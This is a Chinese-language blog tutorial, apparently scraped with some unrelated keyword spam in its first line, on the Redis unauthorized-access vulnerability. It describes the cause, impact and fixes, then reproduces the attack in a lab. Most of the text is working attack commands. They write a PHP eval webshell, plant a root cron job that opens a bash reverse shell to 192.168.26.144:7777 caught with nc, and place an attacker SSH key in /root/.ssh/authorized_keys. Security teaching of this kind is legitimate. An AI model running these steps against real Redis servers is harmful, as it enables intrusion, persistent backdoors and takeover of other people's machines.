建设网站需要的工具,外国做ppt的网站,Wordpress访问速度代码,微信自己怎么弄小程序redis 未授权访问漏洞
目录
redis 未授权访问漏洞 漏洞描述
漏洞原因#xff1a;
漏洞危害
漏洞复现#xff1a;
漏洞复现
写webshell:
写计划任务#xff1a;centos默认在/var/spool/cron
写ssh公钥实现ssh登录#xff1a; 漏洞描述#xff1a; Redis默认情况下…redis 未授权访问漏洞
目录
redis 未授权访问漏洞 漏洞描述
漏洞原因
漏洞危害
漏洞复现
漏洞复现
写webshell:
写计划任务centos默认在/var/spool/cron
写ssh公钥实现ssh登录 漏洞描述 Redis默认情况下会绑定在0.0.0.0:6379(在redis3.2之后redis增加了protected-mode在这个模式下非绑定IP或者没有配置密码访问时都会报错)如果没有进行采用相关的策略比如添加防火墙规则避免其他非信任来源ip访问等等这样将会将Redis服务暴露在公网上如果在没有设置密码认证(默认为空)的情况下会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下利用Redis自身的提供的config命令可以进行写文件操作攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中进而可以使用对应私钥直接使用ssh服务器登录目标服务器。 漏洞原因 (1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略直接暴露在公网
(2) 没有设置密码认证默认为空或者弱密码可以免密码登录redis服务
版本redis 2.x 3.x 4.x 5.x 漏洞危害 (1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露黑客也可以恶意执行flushall来清空所有数据
(2) 攻击者可通过eval执行lua代码或通过数据备份功能往磁盘写入后门文件
(3) 如果redis以root身份运行黑客可以给root账户写入SSH公钥文件直接通过SSH登录目标服务器 修复建议 1、禁止外部访问redis服务端口 2、禁止使用root权限启动redis服务 3、配置安全组限制可连接的redis服务的ip 4、redis设置用户名和密码访问 漏洞复现
修改配置
#bind 127.0.0.1
protected-mod no
重启服务
./redis-server /root/redis-6.2.5/redis.conf 漏洞复现
写webshell:
客户端
./redis-cli -h 192.168.26.153
192.168.26.153:6379 config set dir /var/www/html
OK
192.168.26.153:6379 config set dbfilename redis.php
OK
192.168.26.153:6379 set webshell \n\r\n\r?php phpinfo();?\n\r\n\r
OK
192.168.26.153:6379 save
OK
\n\r\n\r?php eval($_POST[cmd]);?\n\r\n\r 写计划任务centos默认在/var/spool/cron
not connected config get dir
1) dir
2) /root/redis-6.2.5/src
192.168.26.153:6379 config set dir /var/spool/cron
OK
192.168.26.153:6379 config set dbfilename root
OK
192.168.26.153:6379 set ddd \n\n\n* * * * * bash -i /dev/tcp/192.168.26.144/7777 01\n\n\n
OK
192.168.26.153:6379 save 攻击机上使用nc监听,然后进行登录
nc -lvp 7777
结果 写ssh公钥实现ssh登录
攻击机上生成公钥和私钥
ssh-keygen -t rsa 2、进入/root/.ssh将公钥写入key.txt文件前后用\n换行避免和redis里其他缓存数据混合
(echo -e “\n”;cat id_rsa.pub;echo -e “\n”)key.txt 3、再把key.txt文件内容写入redis缓冲
cat key.txt| /root/redis-6.2.5/src/./redis-cli -h 192.168.26.153 -x set pub
4、设置redis的默认文件路径为/root/.ssh且文件名为authorized_keys然后save保存。
192.168.26.153:6379 ping
PONG
192.168.26.153:6379 config set dir /root/.ssh
OK
192.168.26.153:6379 config set dbfilename authorized_keys
OK
192.168.26.153:6379 config get dbfilename
1) dbfilename
2) authorized_keys
192.168.26.153:6379 save
OK
192.168.26.153:6379 5、在攻击机中使用ssh免密登录靶机